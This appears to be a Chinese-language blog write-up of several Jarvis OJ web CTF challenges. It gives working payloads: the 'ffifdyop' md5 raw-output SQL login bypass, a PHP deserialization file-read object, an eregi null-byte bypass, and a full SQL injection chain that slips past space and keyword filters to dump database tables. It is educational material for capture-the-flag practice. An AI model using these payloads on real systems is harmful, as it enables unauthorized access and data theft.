前言:总结一下最近做过的jarvisoj的web题,有的很有意思,能学习到很多新知识

LOCALHOST


提示很明显,伪造IP地址即可

抓包进行伪造,即可得出flag

Login


一个提交页面,源码中也没有发现什么线索,抓包来看一下

有一句提示

"select * from `admin` where password='".md5($pass,true)."'"

这里就涉及到MD5函数的一个知识点了

这到题我们只需让password后面的语句为真即可,参考了大师傅的博客,提供了这样一个字符串

content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
//原始的二进制
string: 'or'6]!r,b
//fifdyop‘字符串对应的16位原始二进制的字符串就是”'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c“

输入ffifdyop,当md5后的hex转换成字符串后,语句便会成为

select * from admin where password=''or'6<乱码>'
便可以进行SQL注入

除此之外,下面的内容也可以注入

content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8


大师傅的博客很详细的解释了为什么''or'6<乱码>'为真,这里就不详细阐述了,又学到一些新知识

最后输入内容,即可得出flag

参考博客
md5($password,true)

admin


抓包也没有任何线索,御剑扫一下

发现admin_s3cr3t.php
抓包,发现admin=0,改成1看看有什么变化

内容发现已经变成admin,一开始还以为得继续往下找线索,没想到这就是flag

神盾局的秘密


很酷的图片,查看源码是否有线索

图片后面的编码是base64,解码查看一下,结果为shield.jpg,既然是以文件包含的形式传过来的,那么应该也可以读取文件,只要也编码成base64的编码即可

先读取showimg.php,base64为c2hvd2ltZy5waHA=,发现源码

读取一下index.php,base64为aW5kZXgucGhw,同样发现源码

最后再读取一下shield.php,base64为c2hpZWxkLnBocA==,查看源码

到这里,基本上源码都被读取完了,最后提示说flag is in pctf.php,直接访问的话是没有结果的,应该是另一种方法读取,先审计源码


//showimg.php文件作用就是读取文件,我们直接读取pctf.php,便会显示File not found!,作用就是这些了。

接下来看//Shield.php
一个魔法函数__construct,这个函数在每次创建新对象时先调用此方法,用this将传过来的file指向filename(空),下面的代码则是对传来的file进行判断,如果符号则返回@file_get_contents($this->file);

那么我们能进行突破的入口应该就是在//index.php了,代码很简单,创建一个新对象,然后将传过来的参数反序列化赋值给对象,再进行读取,那思路就很清晰了,魔法函数__construct对下面的赋值是没有作用的,在之前就已经调用过了。所以不用管,readfile()禁用的都是目录读取所需要的一些符号,那我们直接构造pctf.php的序列化,将它传过去,读取即可,写一个简单的php脚本

<?php//flag is in pctf.phpclass Shield {public $file;function __construct($filename = '') {$this -> file = $filename;}function readfile() {if (!empty($this->file) && stripos($this->file,'..')===FALSE  && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {return @file_get_contents($this->file);}}}$x = new Shield('pctf.php');echo serialize($x);
?>
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

index.php中,传进去

得出flag,至于真假,都试试即可

IN A Mess


查看源码,发现线索

发现源码

下面就来审计源码

参数a被过滤了.,然后再将参数a传给data,接下来只需满足if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4),即可得到flag.txt,首先data必须包含1112 is a nice lab!,这些内容,而且需要以GET方式传进去,看了大师傅的博客,可以用data:,格式将内容包含进来,具体可以参考data类型的Url格式

参数id是弱类型,直接赋值字母即可绕过

strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

这段代码一开始不知道怎么绕过,后面发现是基于eregi函数的弱类型,用%00的绕过,当eregi读到%00的时候,就截止了,具体可以参考ereg漏洞

除此之外,eregi函数之前也是用于正则表达式,所以也可以这样构造b=.11111b=*11111b=?11111都可以

构造payload:

a=data:,1112 is a nice lab!&id=aaa&b=%00111111
a=data:,1112 is a nice lab!&id=aaa&b=.111111
a=data:,1112 is a nice lab!&id=aaa&b=*11111


很显然,这肯定不是flag,猜想是不是目录,尝试一下

果然是,发现可以通过id传入参数,当id=2时,出现了

这就很明显了,SQL注入

经过几次测试,发现将空格给过滤了,不过绕过空格的方法还是有很多的

例如:

%20 %09 %0a %0b %0c %0d %a0 %00 /**/  /*!*/

具体可以参考
绕过空格
这里采用/*1*/的方式进行绕过空格

1/*1*/order/*1*/by/*1*/1


发现回显正常,所以没有闭合符号,而且绕过空格的方法是可行的,发现到第四列会报错,所以一共有三列

id=1/*1*/union/**/select/**/1,2,3

发现报错

应该是过滤了关键字,双写绕过

id=2/*1*/uunionnion/*1*/seselectlect/*1*/1,2,database()


查表
(from也被过滤,同样采用双写绕过)

?id=2/*1*/uunionnion/*1*/seselectlect/*1*/1,2,group_concat(table_name)/*1*/frfromom/*1*/information_schema.tables/*1*/where/*1*/table_schema=database()


查字段

?id=2/*1*/uunionnion/*1*/seselectlect/*1*/1,2,group_concat(column_name)/*1*/frfromom/*1*/information_schema.columns/*1*/where/*1*/table_schema=database()


爆值

?id=2/*1*/uunionnion/*1*/seselectlect/*1*/1,2,context/*1*/frfromom/*1*/content

即可得出flag

这次也学到不少知识,就先总结到这里,有时间会继续总结!

Jarvis OJ web(一)相关推荐

  1. Jarvis OJ web WriteUp

    我要开始做Jarvis OJ上的题目啦!!!之前bugku上还剩下的几道题,之后也会再补上的,做出来之后,就会把思路写到博客里的.新手,有错的地方多多指教.(不是按顺序写的-我就先挑简单的做啦~~~) ...

  2. jarvis oj Web By Assassin

    LOCALHOST 套路题,构造headers中加上x-forwarded-for=127.0.0.1即可 PCTF{X_F0rw4rd_F0R_is_not_s3cuRe} PORT51 访问了页面 ...

  3. jarvis OJ web babyphp

    babyphp 考完二级后我又要回归web狗了 今天做到一道web题 上题: http://web.jarvisoj.com:32798/ 进入后: 发现应该有git泄露 因此我们使用githack进 ...

  4. jarvis oj Web By Assassin

    LOCALHOST 套路题,构造headers中加上x-forwarded-for=127.0.0.1即可 PCTF{X_F0rw4rd_F0R_is_not_s3cuRe} 1 PORT51 访问了 ...

  5. Jarvis OJ—Web

    本文目录 Web PORT51 LOCALHOST Login 神盾局的秘密 admin RE flag在管理员手里 爬 这是base?? Web PORT51 使用51端口,但是修改端口的话,327 ...

  6. Jarvis OJ PORT51

    Jarvis OJ PORT51 题目就是让我们以 51的源端口,去访问它,看来一下文章,好像要是想指定端口源去访问的化,好像需要在命令行里执行,于是打开命令行 输入 curl --local-por ...

  7. [Jarvis OJ - PWN]——Typo(内涵peak小知识)

    [Jarvis OJ - PWN]--Typo 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先check一下, 是arm架构.还是第一次遇到. pe ...

  8. [Jarvis OJ - PWN]——Backdoor

    [Jarvis OJ - PWN]--Backdoor 题目地址: https://www.jarvisoj.com/challenges 题目: 额,怎么说呢这个题有点出乎我的意料, 有点晕乎乎的. ...

  9. [Jarvis OJ - PWN]——[61dctf]fm

    [Jarvis OJ - PWN]--[61dctf]fm 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下, 开启了canary ...

最新文章

  1. 3加2大专计算机专业考什么,3加2学校有什么专业 初中生怎么报考3+2
  2. 使用面部标记提取和深度神经网络进行“昏昏欲睡”的检测
  3. linux删除U盘分区、创建分区和格式化
  4. mybatis动态sql中where标签的使用
  5. 对称加密(4) NET对称加密实践
  6. 力控 串口服务器 虚拟串口,力控工业自动化组态软件eForceCon SD V2.0
  7. Unity中BVH骨骼动画驱动的可视化理论与实现
  8. 时隔一年,盘点CVPR 2019影响力最大的20篇论文
  9. 微课|中学生可以这样学Python(5.1.3节):列表常用方法
  10. Python绘图新冠病毒COVID-19
  11. 删除下拉框只找23火星软件_下拉框软件联系23火星软件
  12. oracle的ofs,windows2003+oracle ofs 双机
  13. android sim卡应用程序,Android双SIM卡API
  14. 携手绿凯智能,趣开门人脸识别门禁落地武汉光谷生物城
  15. Cython(一)安装与使用
  16. runshoes369.co.uk,supra s1w uk
  17. JavaScript从入门到摔门(2万字超详细的JS知识)
  18. 13.Excel vba开发-合并单元格内容
  19. 计算机往届生考研失败找工作,终于发现应届生和往届生考研复试会被歧视吗-考研复习...
  20. Lg手机在linux刷机,LG G3卡刷刷机详细图文教程

热门文章

  1. python类中方法调用自己类的方法_python怎么调用类方法
  2. 【数据分析实例】6000 条倒闭企业数据分析
  3. 【大数据教程】MapReduce基本架构、统计文件中每个字符出现的次数,IP去重、计算每个人的最高分,总分
  4. 十、 RDD编程和Spark SQL
  5. 杭州内推|阿里巴巴流量风控团队招收风控算法实习生
  6. 搞科研,从好好读论文开始:沈向洋带你读论文了
  7. NeurIPS 2021 | 图上不均衡表示学习新视野:基于拓扑结构的不均衡学习
  8. 小场景带来大提升:“AI之眼”加持工厂品控流水线,质检质量提升80%
  9. 实录 | DSTC 8“基于Schema的对话状态追踪”竞赛冠军方案解读
  10. 计算未来轻沙龙 | 对抗攻击、强化学习,你关心的都在这里!